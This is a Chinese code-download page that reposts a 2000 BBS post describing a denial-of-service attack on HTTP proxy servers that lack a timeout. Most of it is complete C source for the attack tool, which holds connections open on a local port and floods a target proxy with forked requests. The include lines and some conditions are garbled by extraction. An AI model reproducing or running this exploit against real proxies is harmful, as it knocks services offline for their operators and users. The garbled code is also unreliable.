源码地带 > 电路图 > 电子资料下载 > 网络 >当今 > 查看压缩包源码

当今

源代码在线查看: http 代理的停止服务攻击.txt

软件大小: 181 K
上传用户: a6810121
关键词:
下载地址: 免注册下载 普通下载 VIP

相关代码

				发信人: scz (小四), 信区: Security 

				标  题: HTTP 代理的停止服务攻击 

				发信站: 武汉白云黄鹤站 (Fri Jun 16 23:55:24 2000), 站内信件 

				  

				原文出处:http://packetstorm.securify.com/0006-exploits/proxy.dos 

				  

				HTTP 代理的停止服务攻击 

				Quans: Redp0wer 

				www.red.sunsnet.com 

				  

				浏览器在使用http代理时,我发现一个有意思的错误, 代理服务器不做timeout检查在 

				要访问的web服务器上,既然这样,我们就可以利用 fork() 来复制大量错误请求进程, 

				来攻击代理服务器. 我攻击过用delegate6.1.13的代理服务器,它先是延时,然后速度 

				大幅下降,在用完所有空数据包之后,它不接受任何请求. 我想这个漏洞是普遍存在的, 

				所以,它可能在大多数代理服务器上存在. 

				  

				这段代码的原理很简单,就是我先绑定自己的80端口,然后用listen() 来监听大量的 

				请求,只监听,并不回复它,然后连接要攻击的代理服务器,创建一个访问我自己的进程, 

				然后复制大量的访问子进程.......:) 

				  

				-- CUT HERE -- 

				  

				#include  

				#include  

				#include  

				#include  

				#include  

				#include  

				#include  

				#include  

				  

				#define HOLD 65535 

				#define MAX 4096 

				#define PORT 8080 

				  

				void Stall(void) 

				{ 

				   if (!fork()) { 

				      struct sockaddr_in box; 

				      int sock; 

				  

				      sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 

				      if (sock				  

				      memset(&box,0,sizeof(struct sockaddr_in)); 

				      box.sin_addr.s_addr = INADDR_ANY; 

				      box.sin_port = htons(80); 

				      box.sin_family = AF_INET; 

				  

				      if (bind(sock,(struct sockaddr*)&box,sizeof(struct sockaddr))				     perror("bind() "); 

				     exit(1); 

				      } 

				      if (listen(sock,HOLD)				     perror("listen() "); 

				     exit(1); 

				      } 

				      for (;;); /* keep holding up the connections */ 

				   } 

				} 

				  

				int Connect(int ip, int port) 

				{ 

				   int sock; 

				   struct sockaddr_in x0r; 

				  

				   sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 

				   if (sock				      perror("Connect()->socket() "); 

				      return -1; 

				   } 

				   memset(&x0r,0,sizeof(struct sockaddr_in)); 

				   x0r.sin_port = htons(port); 

				   x0r.sin_addr.s_addr = ip; 

				   x0r.sin_family = AF_INET; 

				   if (connect(sock,(struct sockaddr*)&x0r,sizeof(struct sockaddr))				     perror("Connect()->connect() "); 

				   return sock; 

				} 

				  

				int sprint(int fd, const char *str,...) 

				{ 

				   va_list args; 

				   char msg[MAX]; 

				  

				   memset(&msg,0,sizeof(msg)); 

				   va_start(args,str); 

				   vsnprintf(msg,MAX,str,args); 

				   return(write(fd,msg,strlen(msg))); 

				} 

				  

				int main(int argc, char *argv[]) 

				{ 

				   int fd=1,keepalive=1; 

				  

				   fprintf(stderr, "Many http proxies denial of service by sectorx\n"); 

				   if (argc < 3) { 

				      fprintf(stderr, "Hmm...usage: %s   [ -no-keepalive ]\n 

				,argv[0]); 

				      exit(1); 

				   } 

				   if (argc>3) keepalive=0; 

				   fprintf(stderr, "Keep-alive = %d\n",keepalive); 

				   Stall(); 

				   fprintf(stderr, "Attacking: "); 

				   while (fd>0) { 

				      fd = Connect(inet_addr(argv[2]),PORT); 

				      sprint(fd,"GET http://%s/ HTTP/1.0\n\n",argv[1]); 

				      if (keepalive == 0) close(fd); 

				      fprintf(stderr, "."); 

				   } 

				   if (keepalive == 1) for(;;); 

				} 

				  

				-- CUT HERE -- 

				  

				scz: 

				  

				让我来理解一下你的意思,http proxy发出http request之后,如果http server 

				没有发出http reply,http proxy并不会象普通的http client一样靠timeout 

				终止这次连接请求,于是处在无限等待状态中? 

				  

				是这个意思吗? 

				  

				-- 

				  

				  

				            也许有一天,他再从海上蓬蓬的雨点中升起, 

				            飞向西来,再形成一道江流,再冲倒两旁的石壁, 

				            再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生...... 

				  

				※ 修改:.triton 于 Jun 19 08:47:23 修改本文.[FROM: prai.hust.edu.cn] 

							

相关资源